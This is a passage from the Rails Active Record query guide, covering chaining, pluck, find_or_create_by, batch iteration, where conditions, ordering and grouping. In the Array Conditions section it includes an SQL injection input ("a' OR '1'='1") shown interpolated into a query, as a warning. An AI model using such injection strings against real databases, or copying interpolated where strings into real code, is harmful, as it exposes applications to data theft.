You can also use other methods like [`order`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-order), [`limit`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-limit), and [`group`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-group) to further refine your queries. These methods are covered in detail in the [Filtering Records](#filtering-records), [Ordering Records](#ordering-records), [Limit and Offset](#limiting-records), and [Grouping Records](#grouping-records) sections.

For large datasets, consider using the batch processing methods described later in this section to avoid loading all records into memory at once.

### [3.3. Understanding Method Chaining](#understanding-method-chaining)

Active Record supports [Method Chaining](https://en.wikipedia.org/wiki/Method_chaining), which allows us to use multiple Active Record methods together in a simple and straightforward way.

You can chain methods in a statement when the previous method called returns an [`ActiveRecord::Relation`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Relation.html), like `all`, `where`, and `joins`. Methods that return a single record must be at the end of the statement. You can read more about retrieving a single record in the [Retrieving a Single Record Section](#retrieving-a-single-record).

When an Active Record method is called, the query is not immediately generated and sent to the database. Instead, the query is sent only when the data is actually needed. So each example below generates a single query.

In the Rails console, queries may appear to execute unexpectedly because the console calls `inspect` on the result to display it. This triggers the query execution even if you're just exploring the relation object. For example, typing `Customer.where(active: true)` in the console will execute the query immediately to show you the results, even though the relation is lazy-loaded by default.

#### [3.3.1. Retrieving Filtered Data from Multiple Tables](#retrieving-filtered-data-from-multiple-tables)

```
Customer
  .select("customers.id, customers.last_name, reviews.body")
  .joins(:reviews)
  .where("reviews.created_at > ?", 1.week.ago)
```

This will generate the following SQL:

```
SELECT customers.id, customers.last_name, reviews.body
  FROM customers
  INNER JOIN reviews
  ON reviews.customer_id = customers.id
  WHERE (reviews.created_at > "2019-01-08")
```

#### [3.3.2. Retrieving Specific Data from Multiple Tables](#retrieving-specific-data-from-multiple-tables)

```
Book
  .select("books.id, books.title, authors.first_name")
  .joins(:author)
  .find_by(title: "Abstraction and Specification in Program Development")
```

This will generate the following SQL:

```
SELECT books.id, books.title, authors.first_name
  FROM books
  INNER JOIN authors
  ON authors.id = books.author_id
  WHERE books.title = $1 [["title", "Abstraction and Specification in Program Development"]]
  LIMIT 1
```

If a query matches multiple records, `find_by` will fetch only the first one and ignore the others, as specified by the `LIMIT 1` statement above.

### [3.4. Finding Records and Values](#finding-records-and-values)

You can find records and values in the database using the following methods.

#### [3.4.1. `find_by_sql`](#find-by-sql)

If you'd like to use your own SQL to find records in a table you can use [`find_by_sql`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Querying.html#method-i-find_by_sql). The `find_by_sql` method will return an array of records even if the underlying query returns just a single record. For example, you could run this query:

```
store(dev)> Customer.find_by_sql("SELECT * FROM customers INNER JOIN orders ON customers.id = orders.customer_id ORDER BY customers.created_at desc")
=> [#<Customer id: 1, first_name: "Lucas" ...>,
    #<Customer id: 2, first_name: "Jan" ...>, ...]
```

`find_by_sql` provides you with a simple way of making custom calls to the database and retrieving instantiated records.

#### [3.4.2. `select_all`](#select-all)

`find_by_sql` has a close relative called [`lease_connection.select_all`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/DatabaseStatements.html#method-i-select_all). `select_all` will retrieve results from the database using custom SQL just like `find_by_sql` but will not instantiate them. This method will return an instance of `ActiveRecord::Result` class and calling `to_a` on it returns an array of hashes where each hash represents a row.

```
store(dev)> Customer.lease_connection.select_all("SELECT first_name, created_at FROM customers WHERE id = \"1\"").to_a
=> [{"first_name"=>"Rafael", "created_at"=>"2012-11-10 23:23:45.281189"},
    {"first_name"=>"Eileen", "created_at"=>"2013-12-09 11:22:35.221282"}]
```

#### [3.4.3. `pluck`](#pluck)

[`pluck`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Calculations.html#method-i-pluck) can be used to pick the value(s) from the named column(s) in the current relation. It accepts a list of column names as an argument and returns an array of values of the specified columns with the corresponding data type.

```
store(dev)> Book.where(out_of_print: true).pluck(:id)
SELECT id FROM books WHERE out_of_print = true
=> [1, 2, 3]

store(dev)> Order.distinct.pluck(:status)
SELECT DISTINCT status FROM orders
=> ["shipped", "being_packed", "cancelled"]

store(dev)> Customer.pluck(:id, :first_name)
SELECT customers.id, customers.first_name FROM customers
=> [[1, "David"], [2, "Fran"], [3, "Jose"]]
```

`pluck` makes it possible to replace code like:

```
Customer.select(:id).map { |c| c.id }
# or
Customer.select(:id).map(&:id)
# or
Customer.select(:id, :first_name).map { |c| [c.id, c.first_name] }
```

with:

```
Customer.pluck(:id)
# or
Customer.pluck(:id, :first_name)
```

Unlike `select`, `pluck` directly converts a database result into a Ruby `Array`, without constructing `ActiveRecord` objects. This can mean better performance for a large or frequently-run query. However, any model method overrides will not be available. For example:

```
class Customer < ApplicationRecord
  def first_name
    "I am #{super}"
  end
end
```

```
store(dev)> Customer.select(:first_name).map(&:first_name)
=> ["I am David", "I am Jeremy", "I am Jose"]

store(dev)> Customer.pluck(:first_name)
=> ["David", "Jeremy", "Jose"]
```

You are not limited to querying fields from a single table, you can query multiple tables as well.

```
store(dev)> Order.joins(:customer, :books).pluck("orders.created_at, customers.email, books.title")
```

Furthermore, unlike `select` and other `Relation` scopes, `pluck` triggers an immediate query, and thus cannot be chained with any further scopes, although it can work with scopes already constructed earlier:

```
store(dev)> Customer.pluck(:first_name).limit(1)
NoMethodError: undefined method `limit' for #<Array:0x007ff34d3ad6d8>

store(dev)> Customer.limit(1).pluck(:first_name)
=> ["David"]
```

You should also know that using `pluck` will trigger eager loading if the relation object contains include values, even if the eager loading is not necessary for the query. For example:

```
store(dev)> assoc = Customer.includes(:reviews)
store(dev)> assoc.pluck(:id)
SELECT "customers"."id" FROM "customers" LEFT OUTER JOIN "reviews" ON "reviews"."id" = "customers"."review_id"
```

One way to avoid this is to `unscope` the includes:

```
store(dev)> assoc.unscope(:includes).pluck(:id)
```

#### [3.4.4. `pick`](#pick)

[`pick`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Calculations.html#method-i-pick) can be used to pick the value(s) from the named column(s) in the current relation. It accepts a list of column names as an argument and returns the first row of the specified column values ​​with corresponding data type. `pick` is a short-hand for `relation.limit(1).pluck(*column_names).first`, which is primarily useful when you already have a relation that is limited to one row.

`pick` makes it possible to replace code like:

```
Customer.where(id: 1).pluck(:id).first
```

with:

```
Customer.where(id: 1).pick(:id)
# => 1
```

#### [3.4.5. `ids`](#ids)

[`ids`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Calculations.html#method-i-ids) can be used to pluck all the IDs for the relation using the table's primary key.

```
store(dev)> Customer.ids
SELECT id FROM customers
```

If you are using a different `primary_key` this will be used instead:

```
class Customer < ApplicationRecord
  self.primary_key = "customer_id"
end
```

```
store(dev)> Customer.ids
SELECT customer_id FROM customers
```

## [4. Finding or Building a New Record](#finding-or-building-a-new-record)

It's common that you need to find a record or create it if it doesn't exist. You can do that with the `find_or_create_by` and `find_or_create_by!` methods.

### [4.1. `find_or_create_by`](#find-or-create-by)

The [`find_or_create_by`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Relation.html#method-i-find_or_create_by) method checks whether a record with the specified attributes exists. If it doesn't, then `create` is called.

Suppose you want to find a customer with the email "<andy@example.com>", and if there's no customer with that email, then you want to create one. You can do this by running:

```
store(dev)> Customer.find_or_create_by(email: "andy@example.com")
=> #<Customer id: 5, email: "andy@example.com", last_name: nil, title: nil, visits: 0, orders_count: nil, lock_version: 0, created_at: "2019-01-17 07:06:45", updated_at: "2019-01-17 07:06:45">
```

The SQL generated by this method will look like this:

```
SELECT *
  FROM customers
  WHERE (customers.email = "andy@example.com")
  LIMIT 1

BEGIN
INSERT INTO customers (created_at, email, locked, orders_count, updated_at) VALUES ("2011-08-30 05:22:57", "andy@example.com", 1, NULL, "2011-08-30 05:22:57")
COMMIT
```

`find_or_create_by` returns either the record that already exists or the new record. In this case, we didn't already have a customer with that email so the record is created and returned.

The new record might not be saved to the database; that depends on whether validations passed or not (just like `create`).

Suppose you want to set the `locked` attribute to `false` if you're creating a new record, but you don't want to include it in the query. You want to find the customer with the email "<andy@example.com>", and if that customer doesn't exist, then create a customer with that email which is not locked.

You can achieve this in two ways. The first is to use `create_with`:

```
Customer.create_with(locked: false).find_or_create_by(email: "andy@example.com")
```

The second way is using a block:

```
Customer.find_or_create_by(email: "andy@example.com") do |c|
  c.locked = false
end
```

The block will only be executed if the customer is being created. The second time we run this code, the block will be ignored.

`find_or_create_by` is not atomic and can have race conditions. In concurrent scenarios, two processes might both check for a record's existence at the same time, find it doesn't exist, and both try to create it, potentially resulting in duplicate records. To avoid race conditions, ensure you have a unique constraint on the database column(s) you're querying, or consider using [`create_or_find_by`](#create-or-find-by) instead, which handles uniqueness constraint violations atomically.

### [4.2. `find_or_create_by!`](#find-or-create-by-bang)

You can also use [`find_or_create_by!`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Relation.html#method-i-find_or_create_by-21) to raise an exception if the new record is invalid. Validations are not covered on this guide, however let's assume that you have temporarily added the following validation to your `Customer` model:

```
validates :orders_count, presence: true
```

If you try to create a new `Customer` without passing an `orders_count`, then the record will be invalid and an exception will be raised:

```
store(dev)> Customer.find_or_create_by!(first_name: "Andy")
ActiveRecord::RecordInvalid: Validation failed: Orders count can't be blank
```

### [4.3. `find_or_initialize_by`](#find-or-initialize-by)

The [`find_or_initialize_by`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Relation.html#method-i-find_or_initialize_by) method will work just like `find_or_create_by` but it will call `new` instead of `create`. This means that a new model instance will be created in memory but won't be saved to the database.

You can use `find_or_initialize_by` to find the customer named 'Nina':

```
store(dev)> nina = Customer.find_or_initialize_by(first_name: "Nina")
=> #<Customer id: nil, first_name: "Nina", orders_count: 0, locked: true, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27">

store(dev)> nina.persisted?
=> false

store(dev)> nina.new_record?
=> true
```

Since the record is not yet stored in the database, the SQL generated will look like this:

```
SELECT * FROM customers WHERE (customers.first_name = "Nina") LIMIT 1
```

When you want to save it to the database, you can call `save`:

```
store(dev)> nina.save
=> true
```

### [4.4. `create_or_find_by`](#create-or-find-by)

The [`create_or_find_by`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Relation.html#method-i-create_or_find_by) method tries to create a record with the given attributes. If a record with those attributes already exists (indicated by a uniqueness constraint violation), it will find and return that existing record instead. This method is atomic and avoids race conditions that can occur with `find_or_create_by`.

```
store(dev)> Customer.create_or_find_by(first_name: "Andy")
=> #<Customer id: 5, first_name: "Andy", last_name: nil, title: nil, visits: 0, orders_count: nil, lock_version: 0, created_at: "2019-01-17 07:06:45", updated_at: "2019-01-17 07:06:45">
```

The SQL generated by this method looks like this on first call:

```
BEGIN
INSERT INTO customers (created_at, first_name, locked, orders_count, updated_at) VALUES ("2011-08-30 05:22:57", "Andy", 1, NULL, "2011-08-30 05:22:57")
COMMIT
```

If the record already exists (due to a uniqueness constraint), the creation will fail and the method will find the existing record:

```
BEGIN
INSERT INTO customers (created_at, first_name, locked, orders_count, updated_at) VALUES ("2011-08-30 05:22:57", "Andy", 1, NULL, "2011-08-30 05:22:57")
ROLLBACK

SELECT *
  FROM customers
  WHERE (customers.first_name = "Andy")
  LIMIT 1
```

The key difference between `create_or_find_by` and `find_or_create_by` is the order of operations and atomicity:

* `find_or_create_by`: First tries to find, then creates if not found. This is **not atomic** and can have race conditions where duplicate records may be created.
* `create_or_find_by`: First tries to create, then finds if creation fails due to uniqueness constraint violation. This is **atomic** and prevents race conditions.

For `create_or_find_by` to work correctly, you must have a unique constraint on the attribute or attributes being queried. Without that constraint, the method can raise duplicate key violations. This method is most appropriate in situations where you expect the record to be created most of the time, where a unique constraint already exists on the relevant attributes, and where you want to avoid race conditions that might otherwise result in duplicate records.

### [4.5. `create_or_find_by!`](#create-or-find-by-bang)

You can also use [`create_or_find_by!`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Relation.html#method-i-create_or_find_by-21) to raise an exception if the record creation fails for reasons other than uniqueness constraint violations. This is similar to `find_or_create_by!` but with the create-first, atomic approach.

```
store(dev)> Customer.create_or_find_by!(first_name: "Andy", orders_count: 5)
=> #<Customer id: 5, first_name: "Andy", orders_count: 5, ...>
```

If a validation fails during creation (other than uniqueness), an exception will be raised:

```
store(dev)> Customer.create_or_find_by!(first_name: "Andy", orders_count: nil)
ActiveRecord::RecordInvalid: Validation failed: Orders count can't be blank
```

However, if the failure is due to a uniqueness constraint violation, it will find and return the existing record (just like `create_or_find_by`), rather than raising an exception.

## [5. Existence of Records](#existence-of-records)

You can check if a record or records exist in the database using the following methods.

### [5.1. `exists?`](#exists-questionmark)

If you want to check for the existence of a record without instantiating the record there's a method called [`exists?`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/FinderMethods.html#method-i-exists-3F). This method will query the database using the same query as `find`, but instead of returning a record or collection of records it will return either `true` or `false`.

```
store(dev)> Customer.exists?(1)
SELECT 1 AS one FROM customers WHERE customers.id = 1 LIMIT 1
=> true
```

The `exists?` method also takes multiple values, but the catch is that it will return `true` if any one of those records exists.

```
store(dev)> Customer.exists?(id: [1, 2, 3])
=> true

store(dev)> Customer.exists?(first_name: ["Jane", "Sergei"])
=> true
```

It's even possible to use `exists?` without any arguments on a model or a relation.

```
store(dev)> Customer.where(first_name: "Ryan").exists?
=> true
```

The above returns `true` if there is at least one customer with the `first_name` 'Ryan' and `false` otherwise.

```
store(dev)> Customer.exists?
=> true
```

The above returns `false` if the `customers` table is empty and `true` otherwise.

### [5.2. `any?`](#any-questionmark)

You can also use `any?` to check for existence on a model or relation.

If the records have already been loaded, `any?` will use the in-memory records instead of querying the database again:

```
store(dev)> orders = Order.limit(10).load
SELECT orders.* FROM orders LIMIT 10
store(dev)> orders.any?
=> true
```

```
store(dev)> Order.any?
SELECT 1 FROM orders LIMIT 1
=> true

store(dev)> Order.shipped.any?
SELECT 1 FROM orders WHERE orders.status = 0 LIMIT 1
=> true

store(dev)> Book.where(out_of_print: true).any?
=> true

store(dev)> Customer.first.orders.any?
=> true
```

### [5.3. `many?`](#many-questionmark)

You can use `many?` to check whether more than one record exists on a model or relation. It uses SQL `count` unless the records have already been loaded.

```
store(dev)> Order.many?
SELECT COUNT(*) FROM (SELECT 1 FROM orders LIMIT 2)
=> true

store(dev)> Order.shipped.many?
SELECT COUNT(*) FROM (SELECT 1 FROM orders WHERE orders.status = 0 LIMIT 2)
=> true

store(dev)> Book.where(out_of_print: true).many?
=> true

store(dev)> Customer.first.orders.many?
=> true
```

### [5.4. Retrieving Multiple Records in Batches](#retrieving-multiple-records-in-batches)

We often need to iterate over a large set of records, for example, when sending a newsletter to many customers, or when exporting data.

You may be tempted to use the following approach:

```
# This may consume too much memory if the table is big.
Customer.all.each do |customer|
  NewsMailer.weekly(customer).deliver_now
end
```

However, this approach becomes increasingly impractical as the table size increases, since `Customer.all.each` instructs Active Record to fetch *the entire table* in a single pass, build a model record per row, and then keep the entire array of model records in memory. If we have a large number of records, the entire collection may exceed the amount of memory available.

Rails provides two methods that address this problem by dividing records into memory-friendly batches for processing:

* The first method, `find_each`, retrieves a batch of records and then yields *each* record to the block individually as a model.
* The second method, `find_in_batches`, retrieves a batch of records and then yields *the entire batch* to the block as an array of models.

The `find_each` and `find_in_batches` methods are intended for use in the batch processing of a large number of records that wouldn't fit in memory all at once. If you just need to loop over a thousand records then the regular find methods are the preferred option.

#### [5.4.1. `find_each`](#find-each)

The [`find_each`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Batches.html#method-i-find_each) method retrieves records in batches and then yields *each* one to the block. In the following example, `find_each` retrieves customers in batches of 1,000 and yields them to the block one by one:

```
Customer.find_each do |customer|
  NewsMailer.weekly(customer).deliver_now
end
```

The default batch size is 1,000, but this can be customized. See [Options for `find_each`](#options-for-find-each) for more details.

This process is repeated, fetching more batches as needed, until all of the records have been processed.

As seen above, `find_each` works on model classes. It also works on relations as long as they have no ordering, since the method needs to force an order internally to iterate.

```
Customer.where(weekly_subscriber: true).find_each do |customer|
  NewsMailer.weekly(customer).deliver_now
end
```

If an order is present in the relation, the behavior depends on the flag [`config.active_record.error_on_ignored_order`](configuring.html#config-active-record-error-on-ignored-order). If this flag is set to true, `ArgumentError` is raised, otherwise the order is ignored and a warning issued, which is the default behavior. This can be overridden with the option `:error_on_ignore`, explained below.

##### [5.4.1.1. Options for `find_each`](#options-for-find-each)

**`:batch_size`**

The `:batch_size` option allows you to specify the number of records to be retrieved in each batch, before being passed individually to the block. For example, to retrieve records in batches of 5,000, you can use the following code:

```
Customer.find_each(batch_size: 5000) do |customer|
  NewsMailer.weekly(customer).deliver_now
end
```

**`:start`**

By default, records are fetched in ascending order of the primary key. The `:start` option allows you to configure the first ID of the sequence whenever the lowest ID is not the one you need. This would be useful, for example, if you wanted to resume an interrupted batch process, provided you saved the last processed ID as a checkpoint.

For example, to send newsletters only to customers with the primary key starting from 2000:

```
Customer.find_each(start: 2000) do |customer|
  NewsMailer.weekly(customer).deliver_now
end
```

**`:finish`**

Similar to the `:start` option, `:finish` allows you to configure the last ID of the sequence whenever the highest ID is not the one you need. This would be useful, for example, if you wanted to run a batch process using a subset of records based on `:start` and `:finish`.

For example, to send newsletters only to customers with the primary key starting from 2000 up to including 9999:

```
Customer.find_each(start: 2000, finish: 9999) do |customer|
  NewsMailer.weekly(customer).deliver_now
end
```

Another example would be if you wanted multiple workers handling the same processing queue. You could have each worker handle 10,000 records by setting the appropriate `:start` and `:finish` options on each worker.

**`:error_on_ignore`**

Overrides the application config to specify if an error should be raised when an order is present in the relation.

**`:order`**

Specifies the primary key order (can be `:asc` or `:desc`). Defaults to `:asc`.

```
Customer.find_each(order: :desc) do |customer|
  NewsMailer.weekly(customer).deliver_now
end
```

#### [5.4.2. `find_in_batches`](#find-in-batches)

The [`find_in_batches`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Batches.html#method-i-find_in_batches) method is similar to `find_each`, since both retrieve batches of records. The difference is that `find_in_batches` yields *batches* to the block as an array of models, instead of individually. The following example will yield to the supplied block an array of up to 1,000 customers at a time, with the final block containing any remaining customers:

```
# Give add_customers an array of 1,000 customers at a time.
Customer.find_in_batches do |customers|
  export.add_customers(customers)
end
```

`find_in_batches` works on model classes, as seen above, and also on relations as long as they have no ordering, since the method needs to force an order internally to iterate:

```
# Give add_customers an array of 1,000 recently active customers at a time.
Customer.recently_active.find_in_batches do |customers|
  export.add_customers(customers)
end
```

##### [5.4.2.1. Options for `find_in_batches`](#options-for-find-in-batches)

The `find_in_batches` method accepts the same options as `find_each`:

**`:batch_size`**

Just like for `find_each`, `batch_size` establishes how many records will be retrieved in each group. For example, retrieving batches of 2,500 records can be specified as:

```
Customer.find_in_batches(batch_size: 2500) do |customers|
  export.add_customers(customers)
end
```

**`:start`**

The `start` option allows specifying the beginning ID from where records will be selected. As mentioned before, by default records are fetched in ascending order of the primary key. For example, to retrieve customers starting on ID: 5000 in batches of 2,500 records, the following code can be used:

```
Customer.find_in_batches(batch_size: 2500, start: 5000) do |customers|
  export.add_customers(customers)
end
```

**`:finish`**

The `finish` option allows specifying the ending ID of the records to be retrieved. The code below shows the case of retrieving customers in batches, up to including the customer with ID: 7000:

```
Customer.find_in_batches(finish: 7000) do |customers|
  export.add_customers(customers)
end
```

**`:error_on_ignore`**

The `error_on_ignore` option overrides the application config to specify if an error should be raised when a specific order is present in the relation.

## [6. Filtering Records](#filtering-records)

The [`where`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-where) method allows you to specify conditions to filter the records returned, representing the `WHERE` part of the SQL statement. Conditions can be specified as a string, array, or hash.

### [6.1. Pure String Conditions](#pure-string-conditions)

If you want to add conditions to your query, you can include them directly in the where clause.

For example:

```
Book.where("title = \"Introduction to Algorithms\"")
```

This will find all books where the `title` field value is 'Introduction to Algorithms'.

Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, `Book.where("title LIKE '%#{params[:title]}%'")` is not safe. See the next section for the preferred way to handle conditions using an array. For more background, see the [Ruby on Rails Security Guide on SQL injection](security.html#sql-injection).

### [6.2. Array Conditions](#array-conditions)

If a condition is dependent on an argument, you can specify it as an array:

```
Book.where(["title = ?", params[:title]])
```

You don't have to pass an actual array. A list of arguments is supported as well:

```
Book.where("title = ?", params[:title])
```

Active Record takes the first argument as the conditions string, and the remaining arguments replace the question marks `(?)` in it. To help prevent SQL injection attacks, Active Record escapes the supplied values and converts them to the appropriate database type when needed.

Using an unsafe string condition can produce unintended SQL:

```
unsafe_title = "a' OR '1'='1"
Book.where("title = '#{unsafe_title}'")
```

Using placeholders keeps the value escaped:

```
Book.where("title = ?", unsafe_title)
```

You can also specify multiple conditions:

```
Book.where("title = ? AND out_of_print = ?", params[:title], false)
```

In the above example, the first question mark will be replaced with the escaped value in `params[:title]`, and the second will be replaced with the SQL representation of `false`, which depends on the adapter.

#### [6.2.1. Placeholder Conditions](#placeholder-conditions)

Similar to the `(?)` replacement style, you can also use named placeholders and pass a hash of values:

```
Book.where("title = :title AND out_of_print = :out_of_print",
  title: params[:title], out_of_print: false)
```

This can be easier to read when you have several variable conditions.

#### [6.2.2. Conditions That Use `LIKE`](#conditions-that-use-like)

Although condition arguments are automatically escaped to prevent SQL injection, SQL `LIKE` wildcards (i.e., `%` and `_`) are **not** escaped. This may cause unexpected behavior if an unsanitized value is used in an argument. For example:

```
Book.where("title LIKE ?", params[:title] + "%")
```

In the above code, the intent is to match titles that start with a user-specified string. However, any occurrences of `%` or `_` in `params[:title]` will be treated as wildcards, leading to surprising query results. In some circumstances, this may also prevent the database from using an intended index, leading to a much slower query.

To avoid these problems, use [`sanitize_sql_like`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Sanitization/ClassMethods.html#method-i-sanitize_sql_like) to escape wildcard characters in the relevant portion of the argument:

```
Book.where("title LIKE ?",
  Book.sanitize_sql_like(params[:title]) + "%")
```

### [6.3. Hash Conditions](#hash-conditions)

Active Record also allows you to pass in hash conditions which can increase the readability of your conditions syntax. With hash conditions, you pass in a hash with keys of the fields you want qualified and the values of how you want to qualify them:

Only equality, range, and subset checking are possible with Hash conditions.

#### [6.3.1. Equality Conditions](#equality-conditions)

```
Book.where(out_of_print: true)
```

This will generate SQL like this:

```
SELECT * FROM books WHERE (books.out_of_print = true)
```

The field name can also be a string:

```
Book.where("out_of_print" => true)
```

In the case of a belongs\_to relationship, an association key can be used to specify the model if an Active Record record is used as the value. This method works with [polymorphic relationships](association_basics.html#polymorphic-associations) as well.

```
author = Author.first
Book.where(author: author)
Author.joins(:books).where(books: { author: author })
```

Hash conditions may also be specified in a tuple-like syntax, where the key is an array of columns and the value is an array of tuples:

```
Book.where([:author_id, :id] => [[15, 1], [15, 2]])
```

This syntax can also be useful for querying models that use [composite primary keys](active_record_composite_primary_keys.html). See the [Composite Primary Keys guide](active_record_composite_primary_keys.html) for more details and examples.

#### [6.3.2. Range Conditions](#range-conditions)

```
Book.where(created_at: (Time.now.midnight - 1.day)..Time.now.midnight)
```

This will find all books created yesterday by using a `BETWEEN` SQL statement:

```
SELECT * FROM books WHERE (books.created_at BETWEEN "2008-12-21 00:00:00" AND "2008-12-22 00:00:00")
```

This demonstrates a shorter syntax for the examples in [Array Conditions](#array-conditions).

Ranges without a start or without an end are supported and can be used to build less/greater than conditions. For example:

```
Book.where(created_at: (Time.now.midnight - 1.day)..)
```

This will generate SQL like:

```
SELECT * FROM books WHERE books.created_at >= "2008-12-21 00:00:00"
```

#### [6.3.3. Subset Conditions](#subset-conditions)

If you want to find records using the `IN` expression you can pass an array to the conditions hash:

```
Customer.where(orders_count: [1, 3, 5])
```

This will generate SQL like this:

```
SELECT * FROM customers WHERE (customers.orders_count IN (1,3,5))
```

### [6.4. NOT Conditions](#not-conditions)

`NOT` SQL queries can be built by [`where.not`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods/WhereChain.html#method-i-not):

```
Customer.where.not(orders_count: [1, 3, 5])
```

In other words, this query can be generated by calling `where` with no argument, then immediately chain with `not` passing `where` conditions. This will generate SQL like this:

```
SELECT * FROM customers WHERE (customers.orders_count NOT IN (1,3,5))
```

If a query has a hash condition with non-nil values on a nullable column, the records that have `nil` values on the nullable column won't be returned. For example:

```
Customer.create!(nullable_country: nil)
Customer.where.not(nullable_country: "UK")
# => []

Customer.create!(nullable_country: "UK")
Customer.where.not(nullable_country: nil)
# => [#<Customer id: 2, nullable_country: "UK">]
```

### [6.5. OR Conditions](#or-conditions)

`OR` conditions between two relations can be built by calling [`or`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-or) on the first relation, and passing the second one as an argument.

```
Customer.where(last_name: "Smith").or(Customer.where(orders_count: [1, 3, 5]))
```

```
SELECT * FROM customers WHERE (customers.last_name = "Smith" OR customers.orders_count IN (1,3,5))
```

### [6.6. AND Conditions](#and-conditions)

`AND` conditions can be built by chaining `where` conditions.

```
Customer.where(last_name: "Smith").where(orders_count: [1, 3, 5])
```

```
SELECT * FROM customers WHERE customers.last_name = "Smith" AND customers.orders_count IN (1,3,5)
```

`AND` conditions for the logical intersection between relations can be built by calling [`and`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-and) on the first relation, and passing the second one as an argument.

```
Customer.where(id: [1, 2]).and(Customer.where(id: [2, 3]))
```

```
SELECT * FROM customers WHERE (customers.id IN (1, 2) AND customers.id IN (2, 3))
```

## [7. Ordering Records](#ordering-records)

To retrieve records from the database in a specific order, you can use the [`order`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-order) method.

For example, if you're getting a set of records and want to order them in ascending order by the `created_at` field in your table:

```
Book.order(:created_at)
# OR
Book.order("created_at")
```

You could specify `ASC` or `DESC` as well:

```
Book.order(created_at: :desc)
# OR
Book.order(created_at: :asc)
# OR
Book.order("created_at DESC")
# OR
Book.order("created_at ASC")
```

You could also order by multiple fields:

```
Book.order(title: :asc, created_at: :desc)
# OR
Book.order(:title, created_at: :desc)
# OR
Book.order("title ASC, created_at DESC")
# OR
Book.order("title ASC", "created_at DESC")
```

If you want to call `order` multiple times, subsequent orders will be appended to the first:

```
store(dev)> Book.order("title ASC").order("created_at DESC")
SELECT * FROM books ORDER BY title ASC, created_at DESC
```

You can also order from a joined table:

```
Book.includes(:author).order(books: { print_year: :desc }, authors: { name: :asc })
# OR
Book.includes(:author).order("books.print_year desc", "authors.name asc")
```

In most database systems, when using `distinct` with methods like `select`, `pluck`, or `ids`, the `order` method will raise an `ActiveRecord::StatementInvalid` exception unless the field(s) used in the `order` clause are included in the select list. See the next section for selecting fields from the result set.

## [8. Selecting Fields](#selecting-fields)

By default, `ActiveRecord::Relation` selects all the fields from the result set using `select *`.

To select only a subset of fields from the result set, you can specify the subset via the [`select`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-select) method.

For example, to select only `isbn` and `out_of_print` columns:

```
Book.select(:isbn, :out_of_print)
# OR
Book.select("isbn, out_of_print")
```

The SQL query used by this find call will be somewhat like:

```
SELECT isbn, out_of_print FROM books
```

Be careful because this also means you're initializing a model record with only the fields that you've selected. If you attempt to access a field that is not in the initialized record you'll receive the following error:

```
ActiveModel::MissingAttributeError: missing attribute '<attribute>' for Book
```

In the above example, `<attribute>` would be the requested attribute. The `id` method will not raise the `ActiveModel::MissingAttributeError`, so exercise caution when working with associations, which need the `id` method to function properly.

## [9. Limiting Records](#limiting-records)

To limit the number of records retrieved from the database you can use the [`limit`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-limit) and [`offset`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-offset) methods on the relation.

The limit method specifies how many records should be returned, while offset determines how many records to skip before retrieving results. For example:

```
Customer.limit(5)
```

This example will return a maximum of 5 customers, and because it specifies no offset, the first 5 in the table will be returned. The SQL it executes looks like this:

```
SELECT * FROM customers LIMIT 5
```

Adding `offset` to that will skip the first 30 records and return the next 5, starting from the 31st record:

```
Customer.limit(5).offset(30)
```

The SQL generated by this query looks like:

```
SELECT * FROM customers LIMIT 5 OFFSET 30
```

If you would like to only return a single record for each unique value in a given field, you can use [`distinct`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-distinct):

```
Customer.select(:last_name).distinct
```

This will generate SQL like:

```
SELECT DISTINCT last_name FROM customers
```

You can also remove the uniqueness constraint:

```
# Returns a unique list of last_names
query = Customer.select(:last_name).distinct

# Returns a list of all last_names, even if there are duplicates
query.distinct(false)
```

## [10. Grouping Records](#grouping-records)

If you want to group records, you can use the [`group`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-group) method to apply a `GROUP BY` clause to the SQL generated by the relation.

For example, if you want to find a collection of orders grouped by status:

```
Order.group("status")
```

And this will give you a single `Order` record for each unique status value in the database.

The SQL that would be executed would be something like this:

```
SELECT *
  FROM orders
  GROUP BY status
```

### [10.1. Total of Grouped Items](#total-of-grouped-items)

To count the items in each group, call [`count`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Calculations.html#method-i-count) after the `group` method.

```
store(dev)> Order.group(:status).count
=> {"being_packed"=>7, "shipped"=>12}
```

The SQL that would be executed looks like this:

```
SELECT COUNT (*) AS count_all, status AS status
  FROM orders
  GROUP BY status
```

### [10.2. HAVING Conditions](#having-conditions)

